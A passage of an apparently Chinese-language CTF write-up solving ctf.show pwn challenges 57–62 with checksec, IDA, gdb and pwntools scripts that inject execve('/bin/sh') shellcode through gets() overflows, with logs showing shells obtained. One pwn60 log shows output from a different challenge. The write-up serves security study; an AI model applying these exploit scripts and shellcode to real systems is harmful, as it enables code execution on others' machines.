No</span><br></pre></td></tr></table></figure><p>64位保护全关</p><p>IDA查看一下：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> __noreturn <span class="title function_">start</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __asm &#123; syscall; LINUX - &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>将汇编代码拿出来逐步分析：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">push    rax</span><br><span class="line">xor     rdx, rdx</span><br><span class="line">xor     rsi, rsi</span><br><span class="line">mov     rbx, 68732F2F6E69622Fh  </span><br><span class="line">push    rbx</span><br><span class="line">push    rsp</span><br><span class="line">pop     rdi</span><br><span class="line">mov     al, 3Bh ; &#x27;;&#x27;</span><br><span class="line">syscall                 ; LINUX -</span><br></pre></td></tr></table></figure><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">采用的是小端字节序,逆序</span><br><span class="line">2F 62 69 6E 2F 2F 73 68</span><br><span class="line">/  b  i  n  /  /  s  h</span><br><span class="line">在Linux系统中，路径里连续的斜杠/会被当作单个斜杠来处理。所以，/bin//sh 和/bin/sh 指向的是同一个文件。</span><br></pre></td></tr></table></figure><p>这段代码是x86-64汇编语言的代码，用于在Linux系统上执行 execve(“&#x2F;bin&#x2F;sh”, NULL,NULL) 。让我们逐行解析代码的功能：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">push rax </span><br><span class="line">#这行代码将 rax 寄存器的值（通常用于存放函数返回值）压入栈中。这里的目的是保留 rax 的值，以便后续使用。</span><br><span class="line">xor rdx, rdx</span><br><span class="line">xor rsi, rsi</span><br><span class="line">#这两行代码使用异或操作将 rdx 和 rsi 寄存器的值设置为零。 rdx 和 rsi 分别将用作 execve系统调用的第三个和第二个参数，即环境变量和命令行参数。在此情况下，我们将它们设置为 NULL，表示没有环境变量和命令行参数。</span><br><span class="line">mov rbx, &#x27;/bin//sh&#x27; </span><br><span class="line">#这行代码将字符串 &#x27;/bin//sh&#x27; 的地址赋值给 rbx 寄存器。字符串 &#x27;/bin//sh&#x27; 是我们要执行的可执行文件的路径。在x86-64汇编中，字符串被当作地址处理。</span><br><span class="line">push rbx </span><br><span class="line">#这行代码将 rbx 寄存器的值（字符串 &#x27;/bin//sh&#x27; 的地址）压入栈中。这是为了将可执行文件路径传递给 execve 系统调用的第一个参数。</span><br><span class="line">push rsp</span><br><span class="line">pop rdi</span><br><span class="line">#这两行代码将栈顶的地址（即字符串&#x27;/bin//sh&#x27;的地址）弹出到rdi寄存器。rdi寄存器将用作execve 系统调用的第一个参数，即可执行文件路径。</span><br><span class="line">mov al, 59 </span><br><span class="line">#这行代码将 al 寄存器设置为值 59 ， 59 是 execve 系统调用的系统调用号。</span><br><span class="line">syscall </span><br><span class="line">#这行代码触发系统调用。通过设置适当的寄存器值（ rax 、rdi、rsi、rdx），syscall指令将执行execve(&quot;/bin/sh&quot;, NULL, NULL) 系统调用，从而启动一个新的 shell 进程。</span><br></pre></td></tr></table></figure><p>总结起来，这段汇编代码的功能是利用系统调用在Linux系统上执行 execve(“&#x2F;bin&#x2F;sh”, NULL,NULL) ，即打开一个新的shell进程。与前一个示例相比，这段代码是x86-64架构下的汇编代码，使用通用寄存器进行操作。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,<span class="number">28195</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn58"><a href="#pwn58" class="headerlink" title="pwn58"></a>pwn58</h2><p>Hint：32位 无限制</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位仅部分开启RELRO，其他保护全关，并且有可读，可写，可执行段</p><p>IDA简单分析（这里无法进行反编译，直接看汇编代码）：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">; int __cdecl main(int argc, const char **argv, const char **envp)</span><br><span class="line">public main</span><br><span class="line">main proc near</span><br><span class="line"></span><br><span class="line">s= byte ptr -0A0h</span><br><span class="line">var_C= dword ptr -0Ch</span><br><span class="line">argc= dword ptr  8</span><br><span class="line">argv= dword ptr  0Ch</span><br><span class="line">envp= dword ptr  10h</span><br><span class="line"></span><br><span class="line">; __unwind &#123;</span><br><span class="line">lea     ecx, [esp+4]</span><br><span class="line">and     esp, 0FFFFFFF0h</span><br><span class="line">push    dword ptr [ecx-4]</span><br><span class="line">push    ebp</span><br><span class="line">mov     ebp, esp</span><br><span class="line">push    ebx</span><br><span class="line">push    ecx</span><br><span class="line">sub     esp, 0A0h</span><br><span class="line">call    __x86_get_pc_thunk_bx</span><br><span class="line">add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)</span><br><span class="line">mov     eax, ds:(stdout_ptr - 804A000h)[ebx]</span><br><span class="line">mov     eax, [eax]</span><br><span class="line">push    0               ; n</span><br><span class="line">push    2               ; modes</span><br><span class="line">push    0               ; buf</span><br><span class="line">push    eax             ; stream</span><br><span class="line">call    _setvbuf</span><br><span class="line">add     esp, 10h</span><br><span class="line">call    _getegid</span><br><span class="line">mov     [ebp+var_C], eax</span><br><span class="line">sub     esp, 4</span><br><span class="line">push    [ebp+var_C]</span><br><span class="line">push    [ebp+var_C]</span><br><span class="line">push    [ebp+var_C]</span><br><span class="line">call    _setresgid</span><br><span class="line">add     esp, 10h</span><br><span class="line">call    logo</span><br><span class="line">sub     esp, 0Ch</span><br><span class="line">lea     eax, (aJustVeryEasyRe - 804A000h)[ebx] ; &quot;Just very easy ret2shellcode&amp;&amp;32bit&quot;</span><br><span class="line">push    eax             ; s</span><br><span class="line">call    _puts</span><br><span class="line">add     esp, 10h</span><br><span class="line">sub     esp, 0Ch</span><br><span class="line">lea     eax, (aAttachIt - 804A000h)[ebx] ; &quot;Attach it!&quot;</span><br><span class="line">push    eax             ; s</span><br><span class="line">call    _puts</span><br><span class="line">add     esp, 10h</span><br><span class="line">sub     esp, 0Ch</span><br><span class="line">lea     eax, [ebp+s]</span><br><span class="line">push    eax             ; s</span><br><span class="line">call    ctfshow</span><br><span class="line">add     esp, 10h</span><br><span class="line">lea     eax, [ebp+s]</span><br><span class="line">call    eax</span><br><span class="line">mov     eax, 0</span><br><span class="line">lea     esp, [ebp-8]</span><br><span class="line">pop     ecx</span><br><span class="line">pop     ebx</span><br><span class="line">pop     ebp</span><br><span class="line">lea     esp, [ecx-4]</span><br><span class="line">retn</span><br><span class="line">; &#125; // starts at 804864C</span><br><span class="line">main endp</span><br></pre></td></tr></table></figure><p>看报错应该是这里无法进行反编译，流程其实也能很清楚的看出来，跟之前差不多，看到后面这里</p><p>调用了ctfshow函数，经验之谈漏洞点应该是在这的 ：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">ctfshow</span><span class="params">(<span class="type">char</span> *s)</span></span><br><span class="line">&#123;</span><br><span class="line">  gets(s);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>看到有gets函数的调用，看汇编：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">; int __cdecl ctfshow(char *s)</span><br><span class="line">public ctfshow</span><br><span class="line">ctfshow proc near</span><br><span class="line"></span><br><span class="line">var_4= dword ptr -4</span><br><span class="line">s= dword ptr  8</span><br><span class="line"></span><br><span class="line">; __unwind &#123;</span><br><span class="line">push    ebp</span><br><span class="line">mov     ebp, esp</span><br><span class="line">push    ebx</span><br><span class="line">sub     esp, 4</span><br><span class="line">call    __x86_get_pc_thunk_bx</span><br><span class="line">add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)</span><br><span class="line">sub     esp, 0Ch</span><br><span class="line">push    [ebp+s]         ; s</span><br><span class="line">call    _gets</span><br><span class="line">add     esp, 10h</span><br><span class="line">sub     esp, 0Ch</span><br><span class="line">push    [ebp+s]         ; s</span><br><span class="line">call    _puts</span><br><span class="line">add     esp, 10h</span><br><span class="line">nop</span><br><span class="line">mov     ebx, [ebp+var_4]</span><br><span class="line">leave</span><br><span class="line">retn</span><br><span class="line">; &#125; // starts at 8048516</span><br><span class="line">ctfshow endp</span><br></pre></td></tr></table></figure><p>我们可以看出对gets函数调用，参数对应的是 [ebp+s] 的地址,也就是在返回地址上一栈内存单元处，对应主函数中，可以看到:gets 函数写入的地址即为 [ebp+s] 对应的地址，同时我们注意到:call 的地址即为 [ebp+s] 所指向的地址到这里思路就很明显了，我们先输入的内容会被 get 读取，存到内存 [ebp+s] 中，然后在函数在后面的时候，会调用这一部分内容。所以我们只要写入 shellcode ，函数后面就会调用 shellcode 。至于[ebp+s] 是指向哪里 ，我们可以看到 main 函数中没有 offset 变量，所以这 [ebp+s] 指的是局部变量，那就是在栈中，而 nx 保护没有开启，所以 shellcode 在栈上也可以执行。</p><p>故我们可以直接使用pwntools的shellcraft模块帮我们生成一个shellcode进行攻击。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28188)</span></span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line">io.sendline(shellcode)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 1340</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Use shellcode to get shell!</span><br><span class="line">    * *************************************</span><br><span class="line">Just very easy ret2shellcode&amp;&amp;32bit</span><br><span class="line">Attach it!</span><br><span class="line">jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814<span class="variable">$ri</span>\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX̀</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn59"><a href="#pwn59" class="headerlink" title="pwn59"></a>pwn59</h2><p>Hint：64位 无限制</p><p><code>分析流程同上，需要注意的是在生成shellcode的时候需要注明架构为64位</code></p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28188)</span></span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line">io.sendline(shellcode)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 1371</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Use shellcode to get shell!</span><br><span class="line">    * *************************************</span><br><span class="line">Just very easy ret2shellcode&amp;&amp;64bit</span><br><span class="line">Attach it!</span><br><span class="line">jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn60"><a href="#pwn60" class="headerlink" title="pwn60"></a>pwn60</h2><p>Hint：入门难度shellcode</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br><span class="line">  Debuginfo:  Yes</span><br></pre></td></tr></table></figure><p>32位保护仅部分开启RELRO，其余保护全关，并且有可读，可写，可执行段</p><p>32位IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">100</span>]; <span class="comment">// [esp+1Ch] [ebp-64h] BYREF</span></span><br><span class="line"></span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;CTFshow-pwn can u pwn me here!!&quot;</span>);</span><br><span class="line">  gets(s);</span><br><span class="line">  <span class="built_in">strncpy</span>(buf2, s, <span class="number">0x64u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;See you ~&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到有gets函数，还是明显的栈溢出漏洞</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; cyclic 300</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac</span><br><span class="line">pwndbg&gt; c</span><br><span class="line">Continuing.</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac</span><br><span class="line">See you ~</span><br><span class="line">...</span><br><span class="line">*EIP  0x62616164 (<span class="string">&#x27;daab&#x27;</span>)</span><br><span class="line">...</span><br><span class="line">pwndbg&gt; cyclic -l daab</span><br><span class="line">Finding cyclic pattern of 4 bytes: b<span class="string">&#x27;daab&#x27;</span> (hex: 0x64616162)</span><br><span class="line">Found at offset 112</span><br></pre></td></tr></table></figure><p>下面还使用strncpy函数将对应的字符串复制到 buf2 处。跟进查看：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.bss:0804A080                 public buf2</span><br><span class="line">.bss:0804A080 ; char buf2[100]</span><br><span class="line">.bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7B↑o</span><br><span class="line">.bss:0804A080 _bss            ends</span><br></pre></td></tr></table></figure><p>可以看到buf2在bss段</p><p>gdb查看一下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; vmmap</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA</span><br><span class="line">     Start        End Perm     Size  Offset File (set vmmap-prefer-relpaths on)</span><br><span class="line"> 0x8048000  0x8049000 r-xp     1000       0 pwn</span><br><span class="line"> 0x8049000  0x804a000 r--p     1000       0 pwn</span><br><span class="line"> 0x804a000  0x804b000 rw-p     1000    1000 pwn</span><br><span class="line"> 0x9c66000  0x9c88000 rw-p    22000       0 [heap]</span><br></pre></td></tr></table></figure><p> bss 段对应的段没有可执行权限（ubunt18.02可以）</p><p>我们就可以控制程序执行 shellcode，也就是先读入 shellcode，然后控制程序执行 bss 段处的shellcode。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = shellcode.ljust(<span class="number">112</span>,<span class="string">&#x27;a&#x27;</span>) + p32(buf2_addr) </span><br><span class="line"><span class="comment">#shellcode.ljust(112, &#x27;a&#x27;) ：这是使用ljust函数将 shellcode 字符串填充到长度为112的字符串中，并用字母 &#x27;a&#x27; 填充剩余的空白部分。</span></span><br><span class="line"><span class="comment">#当然，按照之前的写法，我们只需要先将shellcode的长度打印出来，然后让其总长度为112 ，只是我们使用上述函数可以帮助我们一步到位</span></span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line">lenth = <span class="built_in">len</span>(shellcode)</span><br><span class="line"><span class="built_in">print</span>(lenth)</span><br><span class="line">payload = shellcode + cyclic(<span class="number">112</span>-lenth) + p32(buf2_addr)</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context(arch = &#x27;i386&#x27;,os = &#x27;linux&#x27;,log_level = &#x27;debug&#x27;)</span></span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">buf2_addr=<span class="number">0x0804A080</span></span><br><span class="line">shellcode=asm(shellcraft.sh())</span><br><span class="line">payload=shellcode.ljust(<span class="number">112</span>,<span class="string">b&#x27;a&#x27;</span>)+p32(buf2_addr)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 872</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : There are backdoor <span class="built_in">functions</span> here!</span><br><span class="line">    * *************************************</span><br><span class="line">Find and use it!</span><br><span class="line">Enter what you want:</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn61"><a href="#pwn61" class="headerlink" title="pwn61"></a>pwn61</h2><p>Hint：输出了什么？</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       and64-64-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX diasabled</span><br><span class="line">  PIE:        PIE enabled</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br></pre></td></tr></table></figure><p>64位程序，关闭栈保护、NX保护，有可读可写可执行的段</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *__bss_start; <span class="comment">// rdi</span></span><br><span class="line">  _QWORD v5[<span class="number">2</span>]; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line"></span><br><span class="line">  v5[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">  v5[<span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">  __bss_start = _bss_start;</span><br><span class="line">  setvbuf(_bss_start, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">  logo(__bss_start, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome to CTFshow!&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;What&#x27;s this : [%p] ?\n&quot;</span>, v5);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Maybe it&#x27;s useful ! But how to use it?&quot;</span>);</span><br><span class="line">  gets(v5);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>v5那里存在栈溢出，程序还把v5的地址值给打印出来了</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">低地址 ──────────────────────────────────────► 高地址</span><br><span class="line">[v5缓冲区(16B) | saved rbp(8B) | 返回地址(8B)]</span><br></pre></td></tr></table></figure><p>我们可以先将其接收保存下来，当然，由于开启了PIE保护，该地址会每次变动：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">What<span class="string">&#x27;s this : [0x7ffc4dff34e0] ?</span></span><br><span class="line"><span class="string">$ ./pwn</span></span><br><span class="line"><span class="string">What&#x27;</span>s this : [0x7ffef7a4eb20] ?</span><br></pre></td></tr></table></figure><p>我们只需要在exp中接收，然后将其保存下来，以便与每次我们使用的都是正确的v5的地址</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">io.recvuntil(<span class="string">&#x27;[&#x27;</span>)</span><br><span class="line">v5 = io.recvuntil(<span class="string">&#x27;]&#x27;</span>, drop=<span class="literal">True</span>)</span><br><span class="line">v5 = <span class="built_in">int</span>(v5, <span class="number">16</span>)</span><br></pre></td></tr></table></figure><ul><li><p>输入流中首先接收数据直到遇到 ‘[‘ 字符为止。</p></li><li><p>接下来再次从输入流中接收数据，直到遇到 ‘]’ 字符为止，将其保存在变量 v5 中。</p></li><li><p>最后，将变量 v5 解析为一个十六进制的整数，并将其存储回变量 v5 中。</p></li></ul><p>这样我们第一步的目的就达到了</p><p>接下来我们接着看：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">call    _gets</span><br><span class="line">mov     eax, 0</span><br><span class="line">leave</span><br><span class="line">retn</span><br><span class="line">; &#125; // starts at 7FD</span><br><span class="line">main endp</span><br></pre></td></tr></table></figure><p>leave的作用相当于<strong>MOV SP,BP；POP BP。</strong></p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">move rsp,rbp</span><br><span class="line">rsp = v5_addr + 0x10</span><br><span class="line">POP RBP</span><br><span class="line">rsp = v5_addr + 0x18</span><br><span class="line">因为leave指令会释放栈空间，因此我们不能使用v5后面的24字</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">/* execve(path=&#x27;/bin///sh&#x27;, argv=[&#x27;sh&#x27;], envp=0) */</span><br><span class="line">      /* push b&#x27;/bin///sh\x00&#x27; */</span><br><span class="line">      push 0x68</span><br><span class="line">      mov rax, 0x732f2f2f6e69622f</span><br><span class="line">      push rax</span><br><span class="line">      mov rdi, rsp</span><br><span class="line">      /* push argument array [&#x27;sh\x00&#x27;] */</span><br><span class="line">      /* push b&#x27;sh\x00&#x27; */</span><br><span class="line">      push 0x1010101 ^ 0x6873</span><br><span class="line">      xor dword ptr [rsp], 0x1010101</span><br><span class="line">      xor esi, esi /* 0 */</span><br><span class="line">      push rsi /* null terminate */</span><br><span class="line">      push 8</span><br><span class="line">      pop rsi</span><br><span class="line">      add rsi, rsp</span><br><span class="line">      push rsi /* &#x27;sh\x00&#x27; */</span><br><span class="line">      mov rsi, rsp</span><br><span class="line">      xor edx, edx /* 0 */</span><br><span class="line">      /* call execve() */</span><br><span class="line">      push 59 /* 0x3b */</span><br><span class="line">      pop rax</span><br><span class="line">      syscall</span><br></pre></td></tr></table></figure><p>而生成的shellcode中对rsp进行了其他操作，所以leave指令会对shellcode的执行造成影响。故v5中不能存放shellcode，v5后的8个字节也不能存放（这里需要存放返回地址）。故我们的shellcode只能放在v5首地址后的 24+8后的地址。</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">低地址 ──────────────────────────────────────► 高地址</span><br><span class="line">[v5缓冲区(16B) | saved rbp(8B) | 返回地址(8B)]</span><br></pre></td></tr></table></figure><p>构造的payload为：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload = cyclic(<span class="number">0x10</span>+<span class="number">8</span>) + p64(v5 + <span class="number">24</span>+<span class="number">8</span>) + shellcode</span><br></pre></td></tr></table></figure><p>这里需要理解一下</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28205)</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;[&#x27;</span>)</span><br><span class="line">v5 = io.recvuntil(<span class="string">b&#x27;]&#x27;</span>, drop=<span class="literal">True</span>) <span class="comment">#drop=True是为去掉&quot;]&quot;</span></span><br><span class="line">v5 = <span class="built_in">int</span>(v5, <span class="number">16</span>) <span class="comment">#16进制转换10进制</span></span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line">payload = cyclic(<span class="number">0x10</span>+<span class="number">8</span>) + p64(v5 + <span class="number">32</span>) + shellcode</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 147</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn62"><a href="#pwn62" class="headerlink" title="pwn62"></a>pwn62</h2><p>Hint：短了一点</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        PIE enabled</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>和上一题一样，IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *__bss_start; <span class="comment">// rdi</span></span><br><span class="line">  _QWORD buf[<span class="number">2</span>]; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line"></span><br><span class="line">  buf[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">  buf[<span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">  __bss_start = _bss_start;</span><br><span class="line">  setvbuf(_bss_start, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">  logo(__bss_start, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome to CTFshow!&quot;</span>);</span><br><span 